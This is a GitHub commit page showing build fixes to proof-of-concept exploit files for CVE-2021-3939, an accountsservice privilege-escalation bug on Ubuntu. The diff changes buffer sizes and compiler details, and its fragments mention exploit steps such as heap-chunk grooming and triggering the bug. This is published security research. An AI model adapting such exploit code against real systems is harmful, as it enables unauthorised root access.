Skip to content

Commit a0ea252

Browse files
Merge pull request #854 from kevinbackhouse/fix-build
Fix some build failures that happen on Ubuntu 24.04
2 parents 797155f + bf5b0d0 commit a0ea252

File tree

8 files changed

+17
-17
lines changed

8 files changed

+17
-17
lines changed

SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -433,7 +433,7 @@ class Run {
433433

434434
// This is declared outside of the loop because we want to remember the
435435
// the last value that it's set to.
436-
char email[64] = "[email protected]";
436+
char email[128] = "[email protected]";
437437

438438
// Try to occupy the chunk.
439439
for (size_t i = 0; i < batch_size1; i++) {

SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -420,7 +420,7 @@ class AccountsHandler : public DBusHandler {
420420
// call the SetEmail method with the same email address as last time, so
421421
// that we trigger a polkit check that will get approved, but without
422422
// jumbling the memory any further.
423-
char email_[64] = "[email protected]";
423+
char email_[128] = "[email protected]";
424424

425425
private:
426426
int quit() {
@@ -719,7 +719,7 @@ class AccountsHandler : public DBusHandler {
719719
// we don't want.
720720
accounts_set_property(
721721
my_objectpath_.c_str(), "SetEmail", email_,
722-
[this](const DBusMessage&, bool) -> int {
722+
[](const DBusMessage&, bool) -> int {
723723
return 0;
724724
}
725725
);
@@ -806,13 +806,13 @@ int main(int argc, char* argv[]) {
806806
EPollManager manager(loop);
807807

808808
DBusAuthHandler* polkit_auth_handler =
809-
new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager));
809+
new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager));
810810
if (loop.add_handler(polkit_auth_handler) < 0) {
811811
throw Error(_s("Failed to add PolkitHandler"));
812812
}
813813

814814
DBusAuthHandler* accounts_auth_handler =
815-
new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager));
815+
new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager));
816816
if (loop.add_handler(accounts_auth_handler) < 0) {
817817
throw Error(_s("Failed to add AccountsHandler"));
818818
}

SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -428,7 +428,7 @@ class AccountsHandlerBase : public DBusHandler {
428428
// call the SetEmail method with the same email address as last time, so
429429
// that we trigger a polkit check that will get approved, but without
430430
// jumbling the memory any further.
431-
char email_[64] = "[email protected]";
431+
char email_[128] = "[email protected]";
432432

433433
public:
434434
AccountsHandlerBase(
@@ -611,7 +611,7 @@ class AccountsHandler : public AccountsHandlerBase {
611611
fflush(stderr);
612612
}
613613

614-
int attempt_exploit() {
614+
int attempt_exploit() override {
615615
choose_batch_size();
616616

617617
return findUserByID(
@@ -637,7 +637,7 @@ class AccountsHandler : public AccountsHandlerBase {
637637

638638
accounts_set_property(
639639
my_objectpath_.c_str(), "SetEmail", email_,
640-
[this](const DBusMessage&, bool) -> int {
640+
[](const DBusMessage&, bool) -> int {
641641
return 0;
642642
}
643643
);
@@ -767,7 +767,7 @@ class TriggerBugHandler : public AccountsHandlerBase {
767767
);
768768
}
769769

770-
int attempt_exploit() {
770+
int attempt_exploit() override {
771771
choose_batch_size();
772772

773773
const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
@@ -868,19 +868,19 @@ int main(int argc, char* argv[]) {
868868
// In the child process, we just continually trigger the bug at
869869
// 1-second intervals.
870870
DBusAuthHandler* trigger_bug_auth_handler =
871-
new DBusAuthHandler(loop, info.uid_, new TriggerBugHandler(info, manager));
871+
new DBusAuthHandler(info.uid_, new TriggerBugHandler(info, manager));
872872
if (loop.add_handler(trigger_bug_auth_handler) < 0) {
873873
throw Error(_s("Failed to add TriggerBugHandler"));
874874
}
875875
} else {
876876
DBusAuthHandler* polkit_auth_handler =
877-
new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager));
877+
new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager));
878878
if (loop.add_handler(polkit_auth_handler) < 0) {
879879
throw Error(_s("Failed to add PolkitHandler"));
880880
}
881881

882882
DBusAuthHandler* accounts_auth_handler =
883-
new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager));
883+
new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager));
884884
if (loop.add_handler(accounts_auth_handler) < 0) {
885885
throw Error(_s("Failed to add AccountsHandler"));
886886
}

0 commit comments

Comments
 (0)